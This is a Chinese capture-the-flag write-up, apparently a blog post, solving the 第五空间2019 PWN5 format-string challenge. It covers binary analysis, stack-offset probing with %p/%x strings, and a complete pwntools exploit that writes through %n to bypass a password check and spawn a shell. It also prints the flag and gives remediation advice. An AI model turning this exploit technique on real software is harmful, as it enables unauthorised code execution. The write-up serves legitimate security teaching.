[第五空间2019 决赛]PWN5 1(格式化字符串)
题目

做法
开虚拟机,checksec

32位,没开栈保护
扔进IDA(32位),找到main,F5反编译

一连串代码,先放一边,Shift+F12打开string窗口,看看有啥能用的

有system和/bin/sh,但是都没啥用,这俩都在main里
那就乖乖回到main分析代码吧

看了一下,就是打开一个文件从里面读取随机数(第18行),然后放进一个地址(第19行),然后到下面第16行的 if 表示如果我们输入的密码等于第19行地址里的内容,他就把权限给我们
经典的格式化字符串题目:
看到第23行 printf(&buf);
这里直接把用户输入的 buf 作为格式化字符串传递给 printf 函数,加上上面的随机数,我们可以判断这题为格式化字符串题目(具体移步至下面《解释》)
先nc测试一下,随便输点东西进去,反正都是错的

然后,我们退出,再nc一遍(我们用 这种题目 的 常规做法 做一下)

先测试一下我们输入的值被存放到哪
代码如下(%p/%x输入的个数看情况写,尽可能写多点,不然没到我们输入的值存放的位置就又要重测一次)
(下面的方式都是可以的,因为%p可以不用考虑位数区别,尽量用%p来测】
aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
AAAA.%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
#这些空格,逗号,句号都只是为了让输出结果更易读
#分隔符本身不会影响 printf 函数对格式化说明符的处理,只是在输出时起到分隔不同输出值的作用。
#aaaa可替换成任意其他字符,但是输入的都得一样,方便找到我们输入的值在哪,输入个数需要注意
(注:这部分觉得迷惑的移步至下面《补充》)
我们从他返回的aaaa后的0xffd611f8(为第1)起数,到0x61616161(为第10)止——这就是我们输入的值存放的位置(第10位)(aaaa嘛,四个一样的,对应下去四个一样的也就只有0x61616161)
【注:“(nil)” 是一个表示空值的占位符,因此也算一个】
测试完毕,Ctrl+c断开连接,我们开始构造exp

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",26756)
#定义 payload
payload = p32(0x804C044) + b'%10$n'
#接收
r.recvuntil('your name:')
#发送payload
r.sendline(payload)
#接收
r.recvuntil('your passwd:')
#发送payload
r.sendline(str(4))
#获取靶机交互式终端:
r.interactive()
常规,得出flag——flag{3c562253-d23b-4f60-94c4-f228f4813f40}

解释
为什么说它是格式化字符串
普通字符串示例分析
#include <stdio.h>
int main() {
// 直接输出字符串常量
printf("Hello, World!\n");
return 0;
}
在这个例子中,"Hello, World!\n" 就是一个普通字符串。printf 函数遇到这样的参数时,会从字符串的起始位置开始,逐个字符地输出到控制台,直到遇到字符串结束符 \0。这里的 \n 是一个转义字符,表示换行,它是字符串的一部分,会被当作普通字符处理,使输出在 World! 之后换行。
格式化字符串示例分析
#include <stdio.h>
int main() {
int age = 25;
char name[] = "Alice";
// 使用格式化字符串输出
printf("My name is %s and I am %d years old.\n", name, age);
return 0;
}
在这个例子中,"My name is %s and I am %d years old.\n" 是格式化字符串。%s 和 %d 是格式化说明符,%s 用于指定输出一个字符串,%d 用于指定输出一个整数。printf 函数会根据这些格式化说明符,将后面的参数 name 和 age 按照相应的格式进行输出。具体来说,它会把 name 所指向的字符串替换 %s 的位置,把 age 的值替换 %d 的位置,最终输出 My name is Alice and I am 25 years old.。
总结
题目没有限制我们的输入,我们就可以利用这个输入%(x/p)等进行测试
修复建议(补充)
方法一:使用 %s 格式化说明符
将 printf(&buf); 修改为 printf("%s", buf); ,这样明确告诉 printf 函数将 buf 当作普通字符串进行输出,而不是解析其中可能存在的格式化说明符。
方法二:对用户输入进行严格验证和过滤
可以编写一个函数对用户输入的 buf 进行检查,确保其中不包含格式化字符串的特殊字符(如 % 等),只有在验证通过后才进行输出。
利用格式化字符串漏洞绕过随机数验证的原理
格式化字符串漏洞可以让攻击者通过构造特定的输入,实现信息泄露和任意内存写入。攻击者可以利用这个漏洞达成以下目的:
1. 泄露随机数的值
攻击者可以通过构造包含格式化说明符(如 %x)的输入,让 printf 函数输出栈上的内容,逐步定位并获取存储随机数的内存地址处的值。
例如,攻击者可以输入一系列 %x 说明符,像 AAAA.%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x 等,根据输出结果分析栈上的数据,找到存储随机数的位置并获取其值。

2. 绕过密码验证
一旦攻击者获取了随机数的值,就可以在输入密码时,将这个值输入进去,从而通过 atoi(&nptr) == unk_804C044 的验证,执行 system("/bin/sh"); 打开一个 shell。
补充:
1、格式化字符串的格式化说明符
%d:用于读取或输出十进制整数
【%x:用于读取或输出十六进制整数
%p:用于输出指针的值(通常以十六进制形式显示)
(%x、%p):可以用来获取对应栈上存储的十六进制数值,查看自己输入的值的存放位置,
后者可以不用考虑位数区别】
%s:用于读取或输出字符串
(可以用来获取对应栈的内容,注意有零截断,即如果栈上的字符串中间包含 '\0',输出会在该位置截断)
%n:不会输出任何内容,而是将到目前为止已经输出的字符数量写入到对应的整数指针参数所指向的
内存位置(用于读取前面字符串的长度并写入某个内存地址)
(用了这个格式化说明符后就已经把原来的内容修改为字符数量了,
因此在这题的格式化字符串漏洞中我们输入的密码就是字符数量——把原来从文件里抽取的那个随机数(已经存放到地址里的)改了,因此我们只要输入字符数量就可以满足下面的if语句)
【在利用格式化字符串漏洞时,攻击者可以利用 %n 来修改栈上的内存内容,
例如修改返回地址,从而实现任意代码执行】
%a$b:表示对栈上第 n 个参数进行 x 对应的格式化操作
【a 是一个整数,表示栈上参数的位置索引(从 1 开始计数),
b是其他的格式化说明符(如x、s、d 等)可以对栈上第n个参数进行相应占位符的操作】
2、测试需要用几个字符
本题中的字长为32位,而一个字节是8位,一个a是一个字节,因此输入几个a就一目了然了
(其他位字长系统同理)
(1)测试方法

代码如下(自己看着来输入,不是一下子全输进去的)
python3
from pwn import *
print(len(p32(0x804C044)))
注:0x804C044是main函数中把抽取的随机数传入的对应地址

也可以双击进去

更新
于2025.4.9

浙公网安备 33010602011771号